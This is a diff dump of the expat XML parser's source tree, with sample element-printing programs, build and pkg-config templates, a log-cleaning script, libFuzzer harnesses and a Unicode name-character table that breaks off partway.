# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
AM_CPPFLAGS = @AM_CPPFLAGS@ -I$(srcdir)/../lib
noinst_PROGRAMS = elements outline
elements_SOURCES = elements.c
elements_LDADD = ../lib/libexpat.la
outline_SOURCES = outline.c
outline_LDADD = ../lib/libexpat.la
+121
View File
@@ -0,0 +1,121 @@
/* This is simple demonstration of how to use expat. This program
reads an XML document from standard input and writes a line with
the name of each element to standard output indenting child
elements by one tab stop more than their parent element.
It must be used with Expat compiled for UTF-8 output.
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2001-2003 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2004-2006 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2005-2007 Steven Solie <steven@solie.ca>
Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
Copyright (c) 2019 Zhongyuan Zhou <zhouzhongyuan@huawei.com>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <expat.h>
#ifdef XML_LARGE_SIZE
# define XML_FMT_INT_MOD "ll"
#else
# define XML_FMT_INT_MOD "l"
#endif
#ifdef XML_UNICODE_WCHAR_T
# define XML_FMT_STR "ls"
#else
# define XML_FMT_STR "s"
#endif
static void XMLCALL
startElement(void *userData, const XML_Char *name, const XML_Char **atts) {
int i;
int *const depthPtr = (int *)userData;
(void)atts;
for (i = 0; i < *depthPtr; i++)
putchar('\t');
printf("%" XML_FMT_STR "\n", name);
*depthPtr += 1;
}
static void XMLCALL
endElement(void *userData, const XML_Char *name) {
int *const depthPtr = (int *)userData;
(void)name;
*depthPtr -= 1;
}
int
main(void) {
XML_Parser parser = XML_ParserCreate(NULL);
int done;
int depth = 0;
if (! parser) {
fprintf(stderr, "Couldn't allocate memory for parser\n");
return 1;
}
XML_SetUserData(parser, &depth);
XML_SetElementHandler(parser, startElement, endElement);
do {
void *const buf = XML_GetBuffer(parser, BUFSIZ);
if (! buf) {
fprintf(stderr, "Couldn't allocate memory for buffer\n");
XML_ParserFree(parser);
return 1;
}
const size_t len = fread(buf, 1, BUFSIZ, stdin);
if (ferror(stdin)) {
fprintf(stderr, "Read error\n");
XML_ParserFree(parser);
return 1;
}
done = feof(stdin);
if (XML_ParseBuffer(parser, (int)len, done) == XML_STATUS_ERROR) {
fprintf(stderr,
"Parse error at line %" XML_FMT_INT_MOD "u:\n%" XML_FMT_STR "\n",
XML_GetCurrentLineNumber(parser),
XML_ErrorString(XML_GetErrorCode(parser)));
XML_ParserFree(parser);
return 1;
}
} while (! done);
XML_ParserFree(parser);
return 0;
}
+124
View File
@@ -0,0 +1,124 @@
/* Read an XML document from standard input and print an element
outline on standard output.
Must be used with Expat compiled for UTF-8 output.
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2001-2003 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2005-2007 Steven Solie <steven@solie.ca>
Copyright (c) 2005-2006 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <expat.h>
#ifdef XML_LARGE_SIZE
# define XML_FMT_INT_MOD "ll"
#else
# define XML_FMT_INT_MOD "l"
#endif
#ifdef XML_UNICODE_WCHAR_T
# define XML_FMT_STR "ls"
#else
# define XML_FMT_STR "s"
#endif
static void XMLCALL
startElement(void *userData, const XML_Char *name, const XML_Char **atts) {
int i;
int *const depthPtr = (int *)userData;
for (i = 0; i < *depthPtr; i++)
printf(" ");
printf("%" XML_FMT_STR, name);
for (i = 0; atts[i]; i += 2) {
printf(" %" XML_FMT_STR "='%" XML_FMT_STR "'", atts[i], atts[i + 1]);
}
printf("\n");
*depthPtr += 1;
}
static void XMLCALL
endElement(void *userData, const XML_Char *name) {
int *const depthPtr = (int *)userData;
(void)name;
*depthPtr -= 1;
}
int
main(void) {
XML_Parser parser = XML_ParserCreate(NULL);
int done;
int depth = 0;
if (! parser) {
fprintf(stderr, "Couldn't allocate memory for parser\n");
return 1;
}
XML_SetUserData(parser, &depth);
XML_SetElementHandler(parser, startElement, endElement);
do {
void *const buf = XML_GetBuffer(parser, BUFSIZ);
if (! buf) {
fprintf(stderr, "Couldn't allocate memory for buffer\n");
XML_ParserFree(parser);
return 1;
}
const size_t len = fread(buf, 1, BUFSIZ, stdin);
if (ferror(stdin)) {
fprintf(stderr, "Read error\n");
XML_ParserFree(parser);
return 1;
}
done = feof(stdin);
if (XML_ParseBuffer(parser, (int)len, done) == XML_STATUS_ERROR) {
fprintf(stderr,
"Parse error at line %" XML_FMT_INT_MOD "u:\n%" XML_FMT_STR "\n",
XML_GetCurrentLineNumber(parser),
XML_ErrorString(XML_GetErrorCode(parser)));
XML_ParserFree(parser);
return 1;
}
} while (! done);
XML_ParserFree(parser);
return 0;
}
-74
View File
@@ -1,74 +0,0 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
###############################################################################
Project: "gennmtab"=.\gennmtab\gennmtab.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Project: "xmlparse"=.\xmlparse\xmlparse.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
Begin Project Dependency
Project_Dep_Name xmltok
End Project Dependency
}}}
###############################################################################
Project: "xmltok"=.\xmltok\xmltok.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
Begin Project Dependency
Project_Dep_Name gennmtab
End Project Dependency
}}}
###############################################################################
Project: "xmlwf"=.\xmlwf\xmlwf.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
Begin Project Dependency
Project_Dep_Name xmlparse
End Project Dependency
}}}
###############################################################################
Global:
Package=<5>
{{{
}}}
Package=<3>
{{{
}}}
###############################################################################
-80
View File
@@ -1,80 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML>
<TITLE>expat</TITLE>
<BODY>
<H1>expat - XML Parser Toolkit</H1>
<H3>Version 20000512</H3>
<P>Copyright (c) 1998, 1999, 2000 Thai Open Source Software Center
Ltd. Expat is freely available with source under a very liberal <a
href="copying.txt">license</a> (the MIT license).</P>
<P>This is a test version of expat which adds support for parsing
external DTDs and parameter entities. Compiling with -DXML_DTD
enables this support. There's a new <CODE>-p</CODE> option for xmlwf
which will cause it to process external DTDs and parameter entities;
this implies the <CODE>-x</CODE> option. See the comment above
<CODE>XML_SetParamEntityParsing</CODE> in <CODE>xmlparse.h</CODE> for
the API addition that enables this.</P>
<P>Expat is an <A
HREF="http://www.w3.org/TR/1998/REC-xml-19980210">XML 1.0</A> parser
written in C. It aims to be fully conforming. It is currently not a
validating XML processor. The current production version of expat can
be downloaded from <A href =
"http://www.ThaiOpenSource.com/dist/expat/expat.zip"
>http://www.ThaiOpenSource.com/dist/expat/expat.zip</A>.</P>
<P>The directory <SAMP>xmltok</SAMP> contains a low-level library for
tokenizing XML. The interface is documented in
<SAMP>xmltok/xmltok.h</SAMP>.</P>
<P>The directory <SAMP>xmlparse</SAMP> contains an XML parser library
which is built on top of the <SAMP>xmltok</SAMP> library. The
interface is documented in <SAMP>xmlparse/xmlparse.h</SAMP>. The
directory <SAMP>sample</SAMP> contains a simple example program using
this interface; <SAMP>sample/build.bat</SAMP> is a batch file to build
the example using Visual C++.</P>
<P>The directory <SAMP>xmlwf</SAMP> contains the <SAMP>xmlwf</SAMP>
application, which uses the <SAMP>xmlparse</SAMP> library. The
arguments to <SAMP>xmlwf</SAMP> are one or more files which are each
to be checked for well-formedness. An option <SAMP>-d
<VAR>dir</VAR></SAMP> can be specified; for each well-formed input
file the corresponding <A
href="http://www.jclark.com/xml/canonxml.html">canonical XML</A> will
be written to <SAMP>dir/<VAR>f</VAR></SAMP>, where
<SAMP><VAR>f</VAR></SAMP> is the filename (without any path) of the
input file. A <CODE>-x</CODE> option will cause references to
external general entities to be processed. A <CODE>-s</CODE> option
will make documents that are not standalone cause an error (a document
is considered standalone if either it is intrinsically standalone
because it has no external subset and no references to parameter
entities in the internal subset or it is declared as standalone in the
XML declaration).</P>
<P>The <SAMP>bin</SAMP> directory contains Win32 executables. The
<SAMP>lib</SAMP> directory contains Win32 import libraries.</P>
<P>Answers to some frequently asked questions about expat can be found
in the <A
HREF="http://www.ThaiOpenSource.com/product/expat/expatfaq.html">expat
FAQ</A>.</P>
<P></P>
<ADDRESS>
<A HREF="mailto:jjc@ThaiOpenSource.com">James Clark</A>
</ADDRESS>
</BODY>
</HTML>
+12
View File
@@ -0,0 +1,12 @@
prefix=$<TARGET_PROPERTY:expat,pkgconfig_prefix>
exec_prefix=$<TARGET_PROPERTY:expat,pkgconfig_exec_prefix>
libdir=$<TARGET_PROPERTY:expat,pkgconfig_libdir>
includedir=$<TARGET_PROPERTY:expat,pkgconfig_includedir>
Name: $<TARGET_PROPERTY:expat,pkgconfig_$<LOWER_CASE:$<CONFIG>>_name>
Version: $<TARGET_PROPERTY:expat,pkgconfig_version>
Description: expat XML parser
URL: https://libexpat.github.io/
Libs: -L${libdir} -l$<TARGET_PROPERTY:expat,pkgconfig_$<LOWER_CASE:$<CONFIG>>_output_name>
Libs.private: $<TARGET_PROPERTY:expat,pkgconfig_libm>
Cflags: -I${includedir}
+12
View File
@@ -0,0 +1,12 @@
prefix=@prefix@
exec_prefix=@exec_prefix@
libdir=@libdir@
includedir=@includedir@
Name: @PACKAGE_NAME@
Version: @PACKAGE_VERSION@
Description: expat XML parser
URL: https://libexpat.github.io/
Libs: -L${libdir} -l@PACKAGE_NAME@
Libs.private: @LIBM@
Cflags: -I${includedir}
+120
View File
@@ -0,0 +1,120 @@
/* expat_config.h.cmake. Based upon generated expat_config.h.in. */
#ifndef EXPAT_CONFIG_H
#define EXPAT_CONFIG_H 1
/* 1234 = LIL_ENDIAN, 4321 = BIGENDIAN */
#cmakedefine BYTEORDER @BYTEORDER@
/* Define to 1 if you have the `arc4random' function. */
#cmakedefine HAVE_ARC4RANDOM
/* Define to 1 if you have the `arc4random_buf' function. */
#cmakedefine HAVE_ARC4RANDOM_BUF
/* Define to 1 if you have the <dlfcn.h> header file. */
#cmakedefine HAVE_DLFCN_H
/* Define to 1 if you have the <fcntl.h> header file. */
#cmakedefine HAVE_FCNTL_H
/* Define to 1 if you have the `getpagesize' function. */
#cmakedefine HAVE_GETPAGESIZE
/* Define to 1 if you have the `getrandom' function. */
#cmakedefine HAVE_GETRANDOM
/* Define to 1 if you have the <inttypes.h> header file. */
#cmakedefine HAVE_INTTYPES_H
/* Define to 1 if you have the `bsd' library (-lbsd). */
#cmakedefine HAVE_LIBBSD
/* Define to 1 if you have the <memory.h> header file. */
#cmakedefine HAVE_MEMORY_H
/* Define to 1 if you have a working `mmap' system call. */
#cmakedefine HAVE_MMAP
/* Define to 1 if you have the <stdint.h> header file. */
#cmakedefine HAVE_STDINT_H
/* Define to 1 if you have the <stdlib.h> header file. */
#cmakedefine HAVE_STDLIB_H
/* Define to 1 if you have the <strings.h> header file. */
#cmakedefine HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#cmakedefine HAVE_STRING_H
/* Define to 1 if you have `syscall' and `SYS_getrandom'. */
#cmakedefine HAVE_SYSCALL_GETRANDOM
/* Define to 1 if you have the <sys/stat.h> header file. */
#cmakedefine HAVE_SYS_STAT_H
/* Define to 1 if you have the <sys/types.h> header file. */
#cmakedefine HAVE_SYS_TYPES_H
/* Define to 1 if you have the <unistd.h> header file. */
#cmakedefine HAVE_UNISTD_H
/* Name of package */
#define PACKAGE "@PACKAGE_NAME@"
/* Define to the address where bug reports for this package should be sent. */
#cmakedefine PACKAGE_BUGREPORT "@PACKAGE_BUGREPORT@"
/* Define to the full name of this package. */
#cmakedefine PACKAGE_NAME "@PACKAGE_NAME@"
/* Define to the full name and version of this package. */
#cmakedefine PACKAGE_STRING "@PACKAGE_STRING@"
/* Define to the one symbol short name of this package. */
#cmakedefine PACKAGE_TARNAME "@PACKAGE_TARNAME@"
/* Define to the home page for this package. */
#define PACKAGE_URL ""
/* Define to the version of this package. */
#cmakedefine PACKAGE_VERSION "@PACKAGE_VERSION@"
/* Define to 1 if you have the ANSI C header files. */
#cmakedefine STDC_HEADERS
/* whether byteorder is bigendian */
#cmakedefine WORDS_BIGENDIAN
/* Define to allow retrieving the byte offsets for attribute names and values.
*/
#cmakedefine XML_ATTR_INFO
/* Define to specify how much context to retain around the current parse
point. */
#cmakedefine XML_CONTEXT_BYTES @XML_CONTEXT_BYTES@
#if ! defined(_WIN32)
/* Define to include code reading entropy from `/dev/urandom'. */
#cmakedefine XML_DEV_URANDOM
#endif
/* Define to make parameter entity parsing functionality available. */
#cmakedefine XML_DTD
/* Define to make XML Namespaces functionality available. */
#cmakedefine XML_NS
/* Define to __FUNCTION__ or "" if `__func__' does not conform to ANSI C. */
#ifdef _MSC_VER
# define __func__ __FUNCTION__
#endif
/* Define to `long' if <sys/types.h> does not define. */
#cmakedefine off_t @OFF_T@
/* Define to `unsigned' if <sys/types.h> does not define. */
#cmakedefine size_t @SIZE_T@
#endif // ndef EXPAT_CONFIG_H
-103
View File
@@ -1,103 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML>
<TITLE>expat FAQ</TITLE>
<BODY>
<H1>Frequently Asked Questions about Expat</H1>
<H4>Where can I get the latest version of expat?</H4>
<p>The latest production version is always available from <a
href="http://www.ThaiOpenSource.com/dist/expat"
>http://www.ThaiOpenSource.com/dist/expat</a>. If there is a test
version, then it will be available from <a
href="http://www.ThaiOpenSource.com/dist/expat/test"
>http://www.ThaiOpenSource.com/dist/expat/test</a>.</p>
<H4>Where can I get help in using expat?</H4>
<p>Try the xml-dev mailing list (subscribe by mailing to <a
href="mailto:majordomo@xml.org&BODY=subscribe%20xml-dev">majordomo@xml.org</a>
with the message <code>subscribe xml-dev</code>). Alternatively try
the <a href="news:comp.text.xml">comp.text.xml</a> USENET
newsgroup.</p>
<H4>Where is expat's API documented?</H4>
<p>In <code>xmlparse/xmlparse.h</code>. There's also an advanced,
low-level API you can use which is documented in
<code>xmltok/xmltok.h</code>.</p>
<p>There's also an excellent <a
href="http://www.xml.com/pub/1999/09/expat/index.html">article</a>
about expat on XML.com by Clark Cooper.</p>
<H4>Is there a simple example of using expat's API?</H4>
<p>See <code>sample/elements.c</code></p>
<H4>How can I get expat to deal with non-ASCII characters?</H4>
<P>By default, expat assumes that documents are encoded in UTF-8. In
UTF-8, ASCII characters are represented by a single byte as they would
be in ASCII, but non-ASCII characters are represented by a sequence of
two or more bytes all with the 8th bit set. The encoding most widely
used for European languages is ISO 8859-1 which is not compatible with
UTF-8. To use this encoding, expat must be told either by supplying
an argument of <code>"iso-8859-1"</code> to
<code>XML_ParserCreate</code>, or by starting the document with
<code>&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;</code>.</P>
<H4>What encodings does expat support?</H4>
<P>expat has built in support for the following encodings:</P>
<ul>
<li><code>utf-8</code></li>
<li><code>utf-16</code></li>
<li><code>iso-8859-1</code></li>
<li><code>us-ascii</code></li>
</ul>
<P>Additional encodings can be supported by using
<code>XML_SetUnknownEncodingHandler</code>.</P>
<H4>How can I get expat to validate my XML documents?</H4>
<p>You can't. expat is not a validating parser.</p>
<H4>How can I get expat to read my DTD?</H4>
<p>Compile with <code>-DXML_DTD</code> and call
<code>XML_SetParamEntityParsing</code>.</p>
<H4>How can I get expat to recover from errors?</H4>
<p>You can't. All well-formedness errors stop processing. Note that
the XML Recommendation does not permit conforming XML processors to
continue normal processing after a fatal error.</p>
<H4>How do I get at the characters between tags?</H4>
<p>Use <code>XML_SetCharacterDataHandler</code>.</p>
<H4>How can I minimize the size of expat?</H4>
<p>Compile with <code>-DXML_MIN_SIZE</code>. With Visual C++, use the
<code>Win32 MinSize</code> configuration: this creates an
<code>xmlparse.dll</code> that does not require
<code>xmltok.dll</code>.</p>
<ADDRESS>
<A HREF="mailto:jjc@ThaiOpenSource.com">James Clark</A>
</ADDRESS>
</BODY>
</HTML>
-31
View File
@@ -1,31 +0,0 @@
expat.html
xmltok/ascii.h
xmltok/asciitab.h
xmltok/dllmain.c
gennmtab/gennmtab.c
xmltok/iasciitab.h
xmltok/latin1tab.h
Makefile
xmltok/nametab.h
xmltok/utf8tab.h
xmltok/xmldef.h
xmltok/xmlrole.c
xmltok/xmlrole.h
xmltok/xmltok.c
xmltok/xmltok.h
xmltok/xmltok_impl.c
xmltok/xmltok_impl.h
xmltok/xmltok_ns.c
xmlparse/xmlparse.c
xmlparse/xmlparse.h
xmlwf/codepage.c
xmlwf/codepage.h
xmlwf/filemap.h
xmlwf/readfilemap.c
xmlwf/unixfilemap.c
xmlwf/win32filemap.c
xmlwf/xmlfile.c
xmlwf/xmlfile.h
xmlwf/xmltchar.h
xmlwf/xmlwf.c
sample/elements.c
+50
View File
@@ -0,0 +1,50 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2019-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e
filename="${1:-tests/xmltest.log}"
dos2unix "${filename}"
tempfile="$(mktemp)"
sed \
-e 's/^wine: Call .* msvcrt\.dll\._wperror, aborting$/ibm49i02.dtd: No such file or directory/' \
\
-e '/^wine: /d' \
-e '/^Application tried to create a window, but no driver could be loaded.$/d' \
-e '/^Make sure that your X server is running and that $DISPLAY is set correctly.$/d' \
-e '/^err:systray:initialize_systray Could not create tray window$/d' \
-e '/^[0-9a-f]\+:err:/d' \
-e '/^wine client error:/d' \
-e '/^In ibm\/invalid\/P49\/: Unhandled exception: unimplemented .\+/d' \
\
"${filename}" > "${tempfile}"
mv "${tempfile}" "${filename}"
+2
View File
@@ -0,0 +1,2 @@
/xml_parse*
!/xml_parse*.c
+64
View File
@@ -0,0 +1,64 @@
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <stdint.h>
#include "expat.h"
#include "siphash.h"
// Macros to convert preprocessor macros to string literals. See
// https://gcc.gnu.org/onlinedocs/gcc-3.4.3/cpp/Stringification.html
#define xstr(s) str(s)
#define str(s) #s
// The encoder type that we wish to fuzz should come from the compile-time
// definition `ENCODING_FOR_FUZZING`. This allows us to have a separate fuzzer
// binary for
#ifndef ENCODING_FOR_FUZZING
# error "ENCODING_FOR_FUZZING was not provided to this fuzz target."
#endif
// 16-byte deterministic hash key.
static unsigned char hash_key[16] = "FUZZING IS FUN!";
static void XMLCALL
start(void *userData, const XML_Char *name, const XML_Char **atts) {
(void)userData;
(void)name;
(void)atts;
}
static void XMLCALL
end(void *userData, const XML_Char *name) {
(void)userData;
(void)name;
}
int
LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
XML_Parser p = XML_ParserCreate(xstr(ENCODING_FOR_FUZZING));
assert(p);
// Set the hash salt using siphash to generate a deterministic hash.
struct sipkey *key = sip_keyof(hash_key);
XML_SetHashSalt(p, (unsigned long)siphash24(data, size, key));
XML_SetElementHandler(p, start, end);
XML_Parse(p, (const XML_Char *)data, size, 0);
XML_Parse(p, (const XML_Char *)data, size, 1);
XML_ParserFree(p);
return 0;
}
+71
View File
@@ -0,0 +1,71 @@
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <stdint.h>
#include <string.h>
#include "expat.h"
#include "siphash.h"
// Macros to convert preprocessor macros to string literals. See
// https://gcc.gnu.org/onlinedocs/gcc-3.4.3/cpp/Stringification.html
#define xstr(s) str(s)
#define str(s) #s
// The encoder type that we wish to fuzz should come from the compile-time
// definition `ENCODING_FOR_FUZZING`. This allows us to have a separate fuzzer
// binary for
#ifndef ENCODING_FOR_FUZZING
# error "ENCODING_FOR_FUZZING was not provided to this fuzz target."
#endif
// 16-byte deterministic hash key.
static unsigned char hash_key[16] = "FUZZING IS FUN!";
static void XMLCALL
start(void *userData, const XML_Char *name, const XML_Char **atts) {
(void)userData;
(void)name;
(void)atts;
}
static void XMLCALL
end(void *userData, const XML_Char *name) {
(void)userData;
(void)name;
}
int
LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0)
return 0;
XML_Parser p = XML_ParserCreate(xstr(ENCODING_FOR_FUZZING));
assert(p);
XML_SetElementHandler(p, start, end);
// Set the hash salt using siphash to generate a deterministic hash.
struct sipkey *key = sip_keyof(hash_key);
XML_SetHashSalt(p, (unsigned long)siphash24(data, size, key));
void *buf = XML_GetBuffer(p, size);
assert(buf);
memcpy(buf, data, size);
XML_ParseBuffer(p, size, size == 0);
XML_ParserFree(p);
return 0;
}
Executable → Regular
View File
File mode changed.
Executable → Regular
+392 -366
View File
@@ -1,6 +1,35 @@
/*
Copyright (c) 1998, 1999 Thai Open Source Software Center Ltd
See the file copying.txt for copying permission.
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2016-2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <string.h>
@@ -13,395 +42,392 @@ struct range {
};
struct range nmstrt[] = {
{ '_' },
{ ':' },
/* BaseChar */
{ 0x0041, 0x005a },
{ 0x0061, 0x007a },
{ 0x00c0, 0x00d6 },
{ 0x00d8, 0x00f6 },
{ 0x00f8, 0x00ff },
{ 0x0100, 0x0131 },
{ 0x0134, 0x013e },
{ 0x0141, 0x0148 },
{ 0x014a, 0x017e },
{ 0x0180, 0x01c3 },
{ 0x01cd, 0x01f0 },
{ 0x01f4, 0x01f5 },
{ 0x01fa, 0x0217 },
{ 0x0250, 0x02a8 },
{ 0x02bb, 0x02c1 },
{ 0x0386 },
{ 0x0388, 0x038a },
{ 0x038c },
{ 0x038e, 0x03a1 },
{ 0x03a3, 0x03ce },
{ 0x03d0, 0x03d6 },
{ 0x03da },
{ 0x03dc },
{ 0x03de },
{ 0x03e0 },
{ 0x03e2, 0x03f3 },
{ 0x0401, 0x040c },
{ 0x040e, 0x044f },
{ 0x0451, 0x045c },
{ 0x045e, 0x0481 },
{ 0x0490, 0x04c4 },
{ 0x04c7, 0x04c8 },
{ 0x04cb, 0x04cc },
{ 0x04d0, 0x04eb },
{ 0x04ee, 0x04f5 },
{ 0x04f8, 0x04f9 },
{ 0x0531, 0x0556 },
{ 0x0559 },
{ 0x0561, 0x0586 },
{ 0x05d0, 0x05ea },
{ 0x05f0, 0x05f2 },
{ 0x0621, 0x063a },
{ 0x0641, 0x064a },
{ 0x0671, 0x06b7 },
{ 0x06ba, 0x06be },
{ 0x06c0, 0x06ce },
{ 0x06d0, 0x06d3 },
{ 0x06d5 },
{ 0x06e5, 0x06e6 },
{ 0x0905, 0x0939 },
{ 0x093d },
{ 0x0958, 0x0961 },
{ 0x0985, 0x098c },
{ 0x098f, 0x0990 },
{ 0x0993, 0x09a8 },
{ 0x09aa, 0x09b0 },
{ 0x09b2 },
{ 0x09b6, 0x09b9 },
{ 0x09dc, 0x09dd },
{ 0x09df, 0x09e1 },
{ 0x09f0, 0x09f1 },
{ 0x0a05, 0x0a0a },
{ 0x0a0f, 0x0a10 },
{ 0x0a13, 0x0a28 },
{ 0x0a2a, 0x0a30 },
{ 0x0a32, 0x0a33 },
{ 0x0a35, 0x0a36 },
{ 0x0a38, 0x0a39 },
{ 0x0a59, 0x0a5c },
{ 0x0a5e },
{ 0x0a72, 0x0a74 },
{ 0x0a85, 0x0a8b },
{ 0x0a8d },
{ 0x0a8f, 0x0a91 },
{ 0x0a93, 0x0aa8 },
{ 0x0aaa, 0x0ab0 },
{ 0x0ab2, 0x0ab3 },
{ 0x0ab5, 0x0ab9 },
{ 0x0abd },
{ 0x0ae0 },
